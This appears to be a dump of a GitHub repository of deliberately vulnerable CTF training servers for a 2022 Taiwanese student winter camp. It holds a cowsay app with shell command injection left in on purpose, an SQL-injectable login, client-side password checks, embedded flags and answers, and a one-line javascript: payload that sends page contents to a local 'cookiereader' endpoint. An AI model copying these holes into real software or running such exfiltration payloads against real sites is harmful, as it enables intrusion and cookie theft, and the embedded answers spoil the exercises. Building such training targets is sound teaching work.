├── basic ├── public │ ├── css │ │ └── somecss.css │ └── js │ │ ├── somejs.js │ │ ├── login.js │ │ ├── scripts.js │ │ ├── crypto.js │ │ └── password.js ├── Dockerfile ├── .eslintrc.json ├── package.json ├── views │ └── basic.ejs ├── app.mjs └── package-lock.json ├── stop.bat ├── run.bat ├── happy-metaverse-year ├── app │ ├── flag.json │ ├── public │ │ ├── welcome.mp4 │ │ ├── link-start.mp4 │ │ ├── uso.jpeg │ │ ├── start.png │ │ ├── welcome.png │ │ └── style.css │ ├── package.json │ ├── views │ │ ├── failed.ejs │ │ ├── welcome.ejs │ │ └── index.ejs │ └── app.js ├── docker-compose.yml └── Dockerfile ├── tesla ├── app │ ├── static │ │ ├── flag.json │ │ └── gettesla.png │ ├── requirements.txt │ ├── app.py │ └── templates │ │ ├── index.html │ │ ├── getnewcar.html │ │ └── notesla.html ├── Pipfile └── Dockerfile ├── gogoro ├── app │ ├── requirements.txt │ ├── app.py │ └── templates │ │ ├── getnewcar.html │ │ └── index.html ├── Pipfile └── Dockerfile ├── CTFd markdown space bypass.txt ├── cowsay ├── Dockerfile ├── package.json ├── app.mjs ├── flag.txt └── package-lock.json ├── docker-compose.yml ├── LICENSE ├── README.md ├── .gitignore └── 窩不資道CTF-challenges.csv /basic/public/css/somecss.css: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /stop.bat: -------------------------------------------------------------------------------- 1 | docker-compose down 2 | -------------------------------------------------------------------------------- /run.bat: -------------------------------------------------------------------------------- 1 | docker-compose up --build -d 2 | -------------------------------------------------------------------------------- /happy-metaverse-year/app/flag.json: -------------------------------------------------------------------------------- 1 | "eleCTF{Starburst}" 2 | -------------------------------------------------------------------------------- /happy-metaverse-year/app/public/welcome.mp4: -------------------------------------------------------------------------------- 1 | // https://ani.gamer.com.tw/animeVideo.php?sn=926 -------------------------------------------------------------------------------- /happy-metaverse-year/app/public/link-start.mp4: -------------------------------------------------------------------------------- 1 | // https://ani.gamer.com.tw/animeVideo.php?sn=926 -------------------------------------------------------------------------------- /tesla/app/static/flag.json: -------------------------------------------------------------------------------- 1 | { 2 | "//_flag": "eleCTF{wow_you_find_a_buried_tesla}" 3 | } 4 | -------------------------------------------------------------------------------- /basic/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM node 2 | WORKDIR /app 3 | ADD . /app 4 | RUN /bin/bash 5 | RUN npm i 6 | CMD node . -------------------------------------------------------------------------------- /gogoro/app/requirements.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ianiiaannn/erschaffer-please-hack-me/HEAD/gogoro/app/requirements.txt -------------------------------------------------------------------------------- /tesla/app/requirements.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ianiiaannn/erschaffer-please-hack-me/HEAD/tesla/app/requirements.txt -------------------------------------------------------------------------------- /tesla/app/static/gettesla.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ianiiaannn/erschaffer-please-hack-me/HEAD/tesla/app/static/gettesla.png -------------------------------------------------------------------------------- /CTFd markdown space bypass.txt: -------------------------------------------------------------------------------- 1 | javascript:var%20X=new%20XMLHttpRequest();X.open('POST','127.0.0.1:23456/cookiereader',false);X.send(document) -------------------------------------------------------------------------------- /happy-metaverse-year/app/public/uso.jpeg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ianiiaannn/erschaffer-please-hack-me/HEAD/happy-metaverse-year/app/public/uso.jpeg -------------------------------------------------------------------------------- /happy-metaverse-year/app/public/start.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ianiiaannn/erschaffer-please-hack-me/HEAD/happy-metaverse-year/app/public/start.png -------------------------------------------------------------------------------- /happy-metaverse-year/app/public/welcome.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ianiiaannn/erschaffer-please-hack-me/HEAD/happy-metaverse-year/app/public/welcome.png -------------------------------------------------------------------------------- /happy-metaverse-year/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3.5' 2 | 3 | services: 4 | web: 5 | build: . 6 | ports: 7 | - 8003:80/tcp 8 | user: "1000:1000" 9 | -------------------------------------------------------------------------------- /happy-metaverse-year/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM node:latest 2 | 3 | RUN mkdir -p /usr/src/app 4 | WORKDIR /usr/src/app 5 | COPY ./app . 6 | 7 | RUN npm install 8 | 9 | CMD [ "node", "app.js" ] 10 | -------------------------------------------------------------------------------- /happy-metaverse-year/app/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "dependencies": { 3 | "body-parser": "^1.19.1", 4 | "ejs": "^3.1.6", 5 | "express": "^4.17.2", 6 | "sqlite3": "^5.0.2" 7 | } 8 | } 9 | -------------------------------------------------------------------------------- /cowsay/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu 2 | 3 | FROM node 4 | WORKDIR /app 5 | ADD . /app 6 | RUN /bin/bash 7 | RUN npm i 8 | RUN apt-get update -y 9 | RUN apt-get install -y cowsay fortune 10 | CMD node . -------------------------------------------------------------------------------- /gogoro/Pipfile: -------------------------------------------------------------------------------- 1 | [[source]] 2 | url = "https://pypi.org/simple" 3 | verify_ssl = true 4 | name = "pypi" 5 | 6 | [packages] 7 | 8 | [dev-packages] 9 | 10 | [requires] 11 | python_version = "3.7" 12 | -------------------------------------------------------------------------------- /tesla/Pipfile: -------------------------------------------------------------------------------- 1 | [[source]] 2 | url = "https://pypi.org/simple" 3 | verify_ssl = true 4 | name = "pypi" 5 | 6 | [packages] 7 | 8 | [dev-packages] 9 | 10 | [requires] 11 | python_version = "3.7" 12 | -------------------------------------------------------------------------------- /basic/public/js/somejs.js: -------------------------------------------------------------------------------- 1 | // eslint-disable-next-line require-jsdoc 2 | function hi() { 3 | console.log('hi'); 4 | } 5 | hi(); 6 | // This is a Javascipt file. It contain some front-end codes. 7 | // (2/5) JAVASCRIPT_NOT_JAVA 8 | -------------------------------------------------------------------------------- /basic/.eslintrc.json: -------------------------------------------------------------------------------- 1 | { 2 | "env": { 3 | "browser": true, 4 | "es2021": true 5 | }, 6 | "extends": [ 7 | "google" 8 | ], 9 | "parserOptions": { 10 | "ecmaVersion": 13, 11 | "sourceType": "module" 12 | }, 13 | "rules": { 14 | } 15 | } 16 | -------------------------------------------------------------------------------- /cowsay/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "cowsay", 3 | "version": "1.0.0", 4 | "description": "", 5 | "main": "app.mjs", 6 | "scripts": { 7 | "test": "echo \"Error: no test specified\" && exit 1" 8 | }, 9 | "author": "", 10 | "license": "MIT", 11 | "dependencies": { 12 | "express": "^4.17.2" 13 | } 14 | } 15 | -------------------------------------------------------------------------------- /tesla/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:18.04 2 | # env 3 | ENV LC_ALL=C.UTF-8 4 | ENV LANG=C.UTF-8 5 | # project and workdir 6 | COPY ./app /home/tesla-flask 7 | WORKDIR /home/tesla-flask 8 | #tall py37 9 | RUN apt-get update && apt-get install -y --no-install-recommends \ 10 | python3.7 \ 11 | python3-pip \ 12 | && \ 13 | apt-get clean && \ 14 | rm -rf /var/lib/apt/lists/* 15 | # project setting 16 | RUN pip3 install -r requirements.txt 17 | EXPOSE 748 18 | ENTRYPOINT python3 app.py 19 | -------------------------------------------------------------------------------- /gogoro/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:18.04 2 | # env 3 | ENV LC_ALL=C.UTF-8 4 | ENV LANG=C.UTF-8 5 | # project and workdir 6 | COPY ./app /home/gogoro-flask 7 | WORKDIR /home/gogoro-flask 8 | #tall py37 9 | RUN apt-get update && apt-get install -y --no-install-recommends \ 10 | python3.7 \ 11 | python3-pip \ 12 | && \ 13 | apt-get clean && \ 14 | rm -rf /var/lib/apt/lists/* 15 | # project setting 16 | RUN pip3 install -r requirements.txt 17 | EXPOSE 420 18 | ENTRYPOINT python3 app.py 19 | -------------------------------------------------------------------------------- /tesla/app/app.py: -------------------------------------------------------------------------------- 1 | from flask import Flask,render_template,request 2 | from flask import session,json 3 | 4 | #flask 5 | app=Flask(__name__) 6 | @app.route('/',methods=['POST','GET']) 7 | def index(): 8 | if request.method =='POST': 9 | if request.values['if_i_can_get_a_tesla']=='no': 10 | return render_template('notesla.html') 11 | else : 12 | return render_template('getnewcar.html') 13 | return render_template('index.html') 14 | 15 | app.run(host="0.0.0.0",port="748",debug=True) 16 | -------------------------------------------------------------------------------- /gogoro/app/app.py: -------------------------------------------------------------------------------- 1 | from flask import Flask,render_template,request 2 | from flask import session,json 3 | 4 | #flask 5 | app=Flask(__name__) 6 | @app.route('/',methods=['POST','GET']) 7 | def index(): 8 | if request.method =='POST': 9 | if request.values['passwd']=='i_like_smoke_weed' and request.values['ac']=="toyz": 10 | return render_template('getnewcar.html') 11 | else : 12 | return render_template('nogogoro.html') 13 | return render_template('index.html') 14 | 15 | app.run(host="0.0.0.0",port="420",debug=True) 16 | -------------------------------------------------------------------------------- /docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3' 2 | services: 3 | basic: 4 | build: ./basic 5 | ports: 6 | - "80:80" 7 | cowsay: 8 | build: ./cowsay 9 | ports: 10 | - "23456:23456" 11 | ctfd: 12 | image: ctfd/ctfd 13 | ports: 14 | - "8000:8000" 15 | volumes: 16 | - .ctfd/data/CTFd/logs:/var/log/CTFd 17 | - .ctfd/data/CTFd/uploads:/var/uploads 18 | happy-metaverse-year: 19 | build: ./happy-metaverse-year 20 | ports: 21 | - "8003:80" 22 | gogoro: 23 | build: ./gogoro 24 | ports: 25 | - "420:420" 26 | tesla: 27 | build: ./tesla 28 | ports: 29 | - "748:748" 30 | -------------------------------------------------------------------------------- /happy-metaverse-year/app/views/failed.ejs: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | GG 9 | 17 | 18 | 19 | 20 | 21 |

You are not STARBURST enough.

22 | 23 | 24 | -------------------------------------------------------------------------------- /basic/public/js/login.js: -------------------------------------------------------------------------------- 1 | /* eslint-disable max-len */ 2 | const form = document.getElementById('form'); 3 | form.addEventListener('submit', (event) => { 4 | event.preventDefault(); 5 | if (document.getElementById('username').value == 'ianiiaannn') { 6 | if (btoa(document.getElementById('password').value) == 'U3VwZXIgc3VwZXIgc2VyZXRjdCBwYXNzd29yZCB5b3Ugd29uJ3QgYWxiZSB0byBndWVzcyB0aGlzIGhhaGFoYWhoYWhhaGFoYWhoYWhhaGFoYWhoYQ==') { 7 | alert('Access Granted. Top serect: eleCTF{Rushia_not_b01ng_b01ng_Rushia_fla-}'); 8 | } else { 9 | alert('noob little hacker what is my password?'); 10 | } 11 | } else { 12 | alert('user not found'); 13 | } 14 | }); 15 | -------------------------------------------------------------------------------- /basic/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "erschaffer-basic", 3 | "version": "1.0.0", 4 | "description": "Basic dojo for erschaffer project", 5 | "main": "app.mjs", 6 | "scripts": { 7 | "test": "echo \"Error: no test specified\" && exit 1" 8 | }, 9 | "repository": { 10 | "type": "git", 11 | "url": "git+https://github.com/ianiiaannn/erschaffer-please-hack-me.git" 12 | }, 13 | "keywords": [ 14 | "ctf" 15 | ], 16 | "author": "ianiiaannn", 17 | "license": "MIT", 18 | "bugs": { 19 | "url": "https://github.com/ianiiaannn/erschaffer-please-hack-me/issues" 20 | }, 21 | "homepage": "https://github.com/ianiiaannn/erschaffer-please-hack-me#readme", 22 | "dependencies": { 23 | "cookie-parser": "^1.4.6", 24 | "ejs": "^3.1.6", 25 | "express": "^4.17.2", 26 | "formidable": "^2.0.1", 27 | "md5-file": "^5.0.0", 28 | "sha1-file": "^3.0.0" 29 | }, 30 | "devDependencies": { 31 | "eslint": "^8.5.0", 32 | "eslint-config-google": "^0.14.0" 33 | } 34 | } 35 | -------------------------------------------------------------------------------- /tesla/app/templates/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 特斯拉抽獎 4 | 5 | 6 | 7 | 12 | 13 | 14 |
15 |

特斯拉抽獎系統

16 | wow it's a very very nice tesla 17 |
18 | 19 |
20 | 21 | 22 | 23 |
24 | 25 | 26 | -------------------------------------------------------------------------------- /tesla/app/templates/getnewcar.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 成功抽中特斯拉 9 | 10 | 11 | 12 | 18 | 19 | 20 | 21 |
22 | 回到抽獎首頁 23 |
24 |
25 | 26 |

🛑🛑！！！系統通知！！！🛑🛑

27 |

恭喜您成功抽中 特斯拉五百台

28 | Car 29 |
30 | 31 | 32 |
33 |

歐對了，好像有一台限量特斯拉被藏在這邊

34 |
35 | 36 | 37 | 38 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2021 ianiiaannn 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /tesla/app/templates/notesla.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 很抱歉，您沒能抽中特斯拉 8 | 9 | 10 | 11 | 19 | 20 | 21 | 22 | 25 |
26 | 回到抽獎首頁 27 |
28 |
29 |

很抱歉

30 |

> 您 未成功 抽中特斯拉

31 |
32 |
33 | 34 |
35 | 36 | 37 | 38 | 39 | 40 | -------------------------------------------------------------------------------- /basic/public/js/scripts.js: -------------------------------------------------------------------------------- 1 | /* ! 2 | * Start Bootstrap - Clean Blog v6.0.7 (https://startbootstrap.com/theme/clean-blog) 3 | * Copyright 2013-2021 Start Bootstrap 4 | * Licensed under MIT (https://github.com/StartBootstrap/startbootstrap-clean-blog/blob/master/LICENSE) 5 | */ 6 | window.addEventListener('DOMContentLoaded', () => { 7 | let scrollPos = 0; 8 | const mainNav = document.getElementById('mainNav'); 9 | const headerHeight = mainNav.clientHeight; 10 | window.addEventListener('scroll', function() { 11 | const currentTop = document.body.getBoundingClientRect().top * -1; 12 | if ( currentTop < scrollPos) { 13 | // Scrolling Up 14 | if (currentTop > 0 && mainNav.classList.contains('is-fixed')) { 15 | mainNav.classList.add('is-visible'); 16 | } else { 17 | mainNav.classList.remove('is-visible', 'is-fixed'); 18 | } 19 | } else { 20 | // Scrolling Down 21 | mainNav.classList.remove(['is-visible']); 22 | if (currentTop > headerHeight ) { 23 | if ( !mainNav.classList.contains('is-fixed')) { 24 | mainNav.classList.add('is-fixed'); 25 | } 26 | } 27 | } 28 | scrollPos = currentTop; 29 | }); 30 | }); 31 | -------------------------------------------------------------------------------- /gogoro/app/templates/getnewcar.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | gogoro抽獎 8 | 9 | 10 | 11 | 19 | 20 | 21 | 22 |
23 | 回到抽獎首頁 24 |
25 |
26 | 27 |

🛑🛑！！！系統通知！！！🛑🛑

28 |
恭喜您成功抽中GOGORO一台
29 | 30 |
31 | 32 | 33 |
34 |

您的gogoro編號:ZWxlQ1RGe3RoZXJlX2lzX25vX2dvZ29yb30=

35 |
36 | 37 | 38 | 39 | -------------------------------------------------------------------------------- /cowsay/app.mjs: -------------------------------------------------------------------------------- 1 | const PORT = 23456; 2 | import express from 'express'; 3 | import http from 'http'; 4 | import bodyParser from 'body-parser'; 5 | import childProcess from 'child_process'; 6 | 7 | const app = express(); 8 | http.createServer(app); 9 | app.use(bodyParser.urlencoded({ extended: false })); 10 | 11 | 12 | const form = '

Cowsay


'
13 | 
14 | app.get('/', (req, res) => {
15 |   res.send(form);
16 | });
17 | 
18 | app.post('/', (req, res) => {
19 |   let output, input = req.body.input;
20 |   if(!input)input=';/usr/games/fortune';
21 |   try {
22 |     const process = childProcess.spawnSync('echo ' + input + '|/usr/games/cowsay ', {
23 |       shell: true,
24 |     });
25 |     /* If the shell option is enabled, do not pass unsanitized user input to this function.
26 |     Any input containing shell metacharacters may be used to trigger arbitrary command execution.*/
27 |     // :P
28 |     output = process.output[1].toString();
29 |   } catch (err) {
30 |     output = err;
31 |   }
32 |   console.log(output)
33 |   res.send(form + output + '
'); 34 | }); 35 | 36 | app.listen(PORT, () => { 37 | console.log('app started on port ' + PORT + '.'); 38 | }); 39 | -------------------------------------------------------------------------------- /gogoro/app/templates/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | gogoro抽獎 4 | 5 | 6 | 7 | 22 | 23 | 24 |
25 |

gogoro抽獎登入系統

26 |

歡迎您，玩家

27 | a cool gogoro 28 |
29 | 30 |
31 | 32 | 33 |
34 |
35 | 36 | 37 | 38 |
39 | 40 | 41 | -------------------------------------------------------------------------------- /basic/public/js/crypto.js: -------------------------------------------------------------------------------- 1 | // https://stackoverflow.com/questions/24775725/loop-through-childnodes 2 | // No flag inside. 3 | NodeList.prototype.forEach = Array.prototype.forEach; 4 | window.addEventListener('load', () => { 5 | const form = document.getElementById('inputForm'); 6 | form.addEventListener('submit', () => { 7 | event.preventDefault(); 8 | const XHR = new XMLHttpRequest(); 9 | XHR.responseType = 'json'; 10 | let req = ''; 11 | form.childNodes.forEach((e) => { 12 | if (e.nodeName == 'INPUT') { 13 | if (e.value) { 14 | req += e.name; 15 | req += '='; 16 | req += e.value; 17 | req += '&'; 18 | } 19 | } 20 | }); 21 | XHR.addEventListener('error', () => { 22 | console.log('error'); 23 | }); 24 | XHR.onreadystatechange = () => { 25 | if (XHR.readyState == XMLHttpRequest.DONE) { 26 | console.log(XHR.response.message); 27 | document.getElementById('message').innerText = XHR.response.message; 28 | if (XHR.response.flag) { 29 | const child = document.createElement('div'); 30 | child.innerText = XHR.response.flag; 31 | document.getElementById('flag').appendChild(child); 32 | } 33 | } 34 | }; 35 | XHR.open('POST', '/crypto?' + req + '1', true); 36 | XHR.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); 37 | XHR.send('/crypto?' + req + '1'); 38 | }); 39 | }); 40 | -------------------------------------------------------------------------------- /happy-metaverse-year/app/views/welcome.ejs: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | Welcome 9 | 10 | 25 | 26 | 27 | 28 |
29 |
30 | 31 |
32 |
33 | 34 |
35 | 36 |
37 | 38 | 45 | 48 | 49 | 50 | -------------------------------------------------------------------------------- /happy-metaverse-year/app/app.js: -------------------------------------------------------------------------------- 1 | const express = require('express'); 2 | const bodyParser = require('body-parser'); 3 | const sqlite3 = require('sqlite3').verbose(); 4 | 5 | const FL4G = require('./flag.json'); 6 | 7 | 8 | // initialize database 9 | 10 | const db = new sqlite3.Database('/tmp/db.sqlite3'); 11 | db.exec(` 12 | -- (re)create users table 13 | DROP TABLE IF EXISTS users; 14 | CREATE TABLE users( 15 | id INTEGER PRIMARY KEY AUTOINCREMENT, 16 | username TEXT, 17 | password TEXT, 18 | ip TEXT 19 | ); 20 | 21 | -- create the chosen one 22 | INSERT INTO users 23 | (username, password, ip) 24 | VALUES 25 | ('kirito', 'FLAG{${FL4G}}', '48.76.33.33'); 26 | `); 27 | 28 | 29 | // initialize app 30 | 31 | const app = express(); 32 | 33 | app.set('view engine', 'ejs'); 34 | app.set('trust proxy', 'uniquelocal'); 35 | 36 | app.use(bodyParser.urlencoded({ extended: true })); 37 | app.use('/static', express.static('public')); 38 | 39 | 40 | app.get('/', (req, res) => { 41 | res.render('index', { ip: req.ip }); 42 | }); 43 | 44 | app.post('/login', (req, res) => { 45 | const { username, password } = req.body; 46 | const query = `SELECT * FROM users WHERE username = '${username}' and password = '${password}`; 47 | db.get(query, (err, user) => { 48 | if (res.headersSent) return; 49 | 50 | if (!err) 51 | 52 | res.render('welcome',{ flag: FL4G}); 53 | else 54 | res.render('failed'); 55 | }); 56 | 57 | // querying time should not longer than 50ms 58 | res.setTimeout(50, () => res.render('failed')); 59 | }); 60 | 61 | // free welcome page 62 | app.get('/welcome', (req, res) => res.render('welcome',{ flag: 0})); 63 | 64 | app.listen(80); -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # 2022 中部電資聯合寒訓 窩不資道 靶機 2 | 3 | erschaffer-please-hack-me 4 | 5 | ## 聲明 6 | 7 | 歡迎參加本次的寒訓，此次寒訓的教學內容僅限用於教學及學習本課程之用途，其餘使用須自行承擔一切風險，本營隊不會負責任何因使用本次教學內容而引致之觸法行為。本營隊不會作出任何默示的擔保。 8 | 9 | ## 給"不小心"看到這個 Github repo 的學員 10 | 11 | 把專案將上星星（右上角有按鈕）就給你一個 FLAG 啦，不要偷看答案\ 12 | eleCTF{S1ar_th1s_repo_on_g1thu8} 13 | 14 | ## 結構 15 | 16 | 這個專案使用 docker-compose，會使用到多個 container。 17 | 18 | * CTFd 為計分伺服器，使用 8000 port。 19 | * basic 為簡易題目伺服器，使用 80 port，前端為 Start Bootstrap 的 [Clean Blog](https://github.com/startbootstrap/startbootstrap-clean-blog) (MIT Lience) 20 | * happy-metaverse-year 為 SQL-Injection Nodejs伺服器，使用 8003 port 21 | * cowsay 為 command injection 伺服器，使用 23456 port，被使用者破壞請殺掉重新 build 22 | * gogoro 為 Web前端漏洞 ，使用 420 port 23 | * Container 使用不同 Port，超連結無法生效，使用 Javascript 強制跳轉。 24 | 25 | ## 安裝（新手 Windows 10 or 11 版） 26 | 27 | * 安裝 [Git](https://git-scm.com/downloads) 和 [Docker](https://docs.docker.com/desktop/windows/install/)（建議使用 WSL 2 Backend 版，需要重新開機幾次） 28 | * 按下鍵盤下的 Windows+R，輸入 CMD 29 | * 打開想要安裝本專案的資料夾 30 | 31 | ```Shell 32 | cd Documents 33 | ``` 34 | 35 | * 使用 git clone 下載本專案 36 | 37 | ```Shell 38 | git clone https://github.com/ianiiaannn/erschaffer-please-hack-me.git 39 | ``` 40 | 41 | * 完成後進入資料夾 42 | 43 | ```Shell 44 | cd erschaffer-please-hack-me 45 | ``` 46 | 47 | * 啟動腳本為 run.bat，關閉腳本為 stop.bat，可以使用滑鼠點兩下。 48 | 49 | ```Shell 50 | run.bat 51 | (powershell 可能會需要 .\run.bat) 52 | ``` 53 | 54 | * 更新 55 | 56 | ```Shell 57 | git pull 58 | ``` 59 | 60 | 跑不動請把資料夾整個殺掉重新 clone 61 | 62 | ## Install（Normal ver.） 63 | 64 | * [Install docker](https://docs.docker.com/engine/install/ubuntu/) 65 | 66 | ```Shell 67 | curl -fsSL https://get.docker.com -o get-docker.sh 68 | sudo sh get-docker.sh 69 | ``` 70 | 71 | * Clone 72 | 73 | ```Shell 74 | git clone https://github.com/ianiiaannn/erschaffer-please-hack-me.git 75 | cd erschaffer-please-hack-me 76 | ``` 77 | 78 | * Run 79 | 80 | ```Shell 81 | sudo docker-compose up --build -d 82 | ``` 83 | 84 | :P 85 | -------------------------------------------------------------------------------- /basic/public/js/password.js: -------------------------------------------------------------------------------- 1 | /* eslint-disable max-len */ 2 | window.addEventListener('load', () => { 3 | const form = document.getElementById('form'); 4 | form.addEventListener('submit', (event) => { 5 | event.preventDefault(); 6 | input = atob(document.getElementById('password').value); 7 | let pass = false; 8 | if (input[21] + input[22] + input[23] == 'e6b') { 9 | if (input[9] + input[10] + input[11] == '863') { 10 | if (input[3] + input[4] + input[5] == 'CTF') { 11 | if (input[42] + input[43] + input[44] == '960') { 12 | if (input[24] + input[25] + input[26] == '2e5') { 13 | if (input[45] + input[46] +input[47] == '2a}') { 14 | if (input[0] + input[1] + input[2] == 'ele') { 15 | if (input[15] + input[16] + input[17] == '3f7') { 16 | if (input[6] + input[7] + input[8] == '{d1') { 17 | if (input[27] + input[28] + input[29] == '85a') { 18 | if (input[30] + input[31] + input[32] == '8b4') { 19 | if (input[39] + input[40] + input[41] == 'd11') { 20 | if (input[12] + input[13] + input[14] == '1a0') { 21 | if (input[18] + input[19] + input[20] == '28f') { 22 | if (input[36] + input[37] + input[38] == 'f54') { 23 | if (input[33] + input[34] + input[35] == '911') { 24 | pass = true; 25 | } 26 | } 27 | } 28 | } 29 | } 30 | } 31 | } 32 | } 33 | } 34 | } 35 | } 36 | } 37 | } 38 | } 39 | } 40 | } 41 | if (pass) alert(input); 42 | else alert('Wrong password.'); 43 | }); 44 | }); 45 | 46 | -------------------------------------------------------------------------------- /happy-metaverse-year/app/views/index.ejs: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | Sword Art Online 9 | 10 | 11 | 12 | 13 |
14 |
15 | 19 | 20 |
21 |
22 | 23 |
24 | 25 |

Link Start

26 |
27 |
28 |

歡迎玩家<%= ip %>

29 |

Log in_::

30 |
31 |

32 |
33 | 34 |

35 |

36 |
37 | 38 |

39 | 40 |
41 |
42 | 43 | 44 | 55 | 56 | 57 | 58 | -------------------------------------------------------------------------------- /happy-metaverse-year/app/public/style.css: -------------------------------------------------------------------------------- 1 | body { 2 | background-color: #ebebeb; 3 | } 4 | 5 | footer { 6 | width: 100%; 7 | text-align: center; 8 | position: fixed; 9 | bottom: 1rem; 10 | } 11 | 12 | .start { 13 | width: 25em; 14 | height: 25em; 15 | /* background: url('/static/start.png') center; 16 | background-size: cover; */ 17 | position: absolute; 18 | top: 50%; 19 | left: 50%; 20 | transform: translate(-50%, -50%); 21 | padding: 2rem; 22 | z-index: 100; 23 | cursor: pointer; 24 | transition: ease-out 0.1s; 25 | } 26 | 27 | .start:hover { 28 | transform: translate(-50%, -50%) scale(1.25); 29 | } 30 | 31 | .start img { 32 | width: 100%; 33 | height: 100%; 34 | object-fit: cover; 35 | animation: spin 5s infinite linear; 36 | } 37 | 38 | @keyframes spin { 39 | from { 40 | transform: rotate(0deg); 41 | } 42 | to { 43 | transform: rotate(360deg); 44 | } 45 | } 46 | 47 | .start h1 { 48 | padding: 10px; 49 | background-color: #eee; 50 | position: absolute; 51 | top: 50%; 52 | left: 50%; 53 | transform: translate(-50%, -50%); 54 | 55 | font-size: 2rem; 56 | font-family: "Consolas", monospace; 57 | color: #ababab; 58 | margin: 0; 59 | } 60 | 61 | .video-background { 62 | position: fixed; 63 | top: 0; 64 | right: 0; 65 | bottom: 0; 66 | left: 0; 67 | z-index: -99; 68 | } 69 | 70 | .video-foreground, 71 | .video-background video { 72 | position: absolute; 73 | top: 0; 74 | left: 0; 75 | width: 100%; 76 | height: 100%; 77 | pointer-events: none; 78 | } 79 | 80 | .login-panel { 81 | font-family: "Consolas", Courier, monospace; 82 | font-size: 1.5rem; 83 | color: white; 84 | background-color: #1089b5; 85 | 86 | border-radius: 16px; 87 | width: 100%; 88 | min-height: 10rem; 89 | max-width: 40rem; 90 | position: absolute; 91 | top: 50%; 92 | left: 50%; 93 | transform: translate(-50%, -50%); 94 | padding: 2rem; 95 | box-shadow: 0 0 8px rgba(0, 0, 0, 0.6); 96 | 97 | display: flex; 98 | flex-direction: row; 99 | 100 | opacity: 0; 101 | transition: opacity 1s; 102 | } 103 | 104 | .login-panel input { 105 | width: 100%; 106 | } 107 | 108 | .login-panel .left { 109 | flex: 1; 110 | display: flex; 111 | flex-direction: column; 112 | align-items: center; 113 | } 114 | 115 | .login-panel .right { 116 | flex: 1; 117 | display: flex; 118 | flex-direction: column; 119 | justify-content: center; 120 | align-items: center; 121 | } 122 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Logs 2 | logs 3 | *.log 4 | npm-debug.log* 5 | yarn-debug.log* 6 | yarn-error.log* 7 | lerna-debug.log* 8 | .pnpm-debug.log* 9 | 10 | # Diagnostic reports (https://nodejs.org/api/report.html) 11 | report.[0-9]*.[0-9]*.[0-9]*.[0-9]*.json 12 | 13 | # Runtime data 14 | pids 15 | *.pid 16 | *.seed 17 | *.pid.lock 18 | 19 | # Directory for instrumented libs generated by jscoverage/JSCover 20 | lib-cov 21 | 22 | # Coverage directory used by tools like istanbul 23 | coverage 24 | *.lcov 25 | 26 | # nyc test coverage 27 | .nyc_output 28 | 29 | # Grunt intermediate storage (https://gruntjs.com/creating-plugins#storing-task-files) 30 | .grunt 31 | 32 | # Bower dependency directory (https://bower.io/) 33 | bower_components 34 | 35 | # node-waf configuration 36 | .lock-wscript 37 | 38 | # Compiled binary addons (https://nodejs.org/api/addons.html) 39 | build/Release 40 | 41 | # Dependency directories 42 | */node_modules/ 43 | node_modules/ 44 | jspm_packages/ 45 | 46 | # Snowpack dependency directory (https://snowpack.dev/) 47 | web_modules/ 48 | 49 | # TypeScript cache 50 | *.tsbuildinfo 51 | 52 | # Optional npm cache directory 53 | .npm 54 | 55 | # Optional eslint cache 56 | .eslintcache 57 | 58 | # Optional stylelint cache 59 | .stylelintcache 60 | 61 | # Microbundle cache 62 | .rpt2_cache/ 63 | .rts2_cache_cjs/ 64 | .rts2_cache_es/ 65 | .rts2_cache_umd/ 66 | 67 | # Optional REPL history 68 | .node_repl_history 69 | 70 | # Output of 'npm pack' 71 | *.tgz 72 | 73 | # 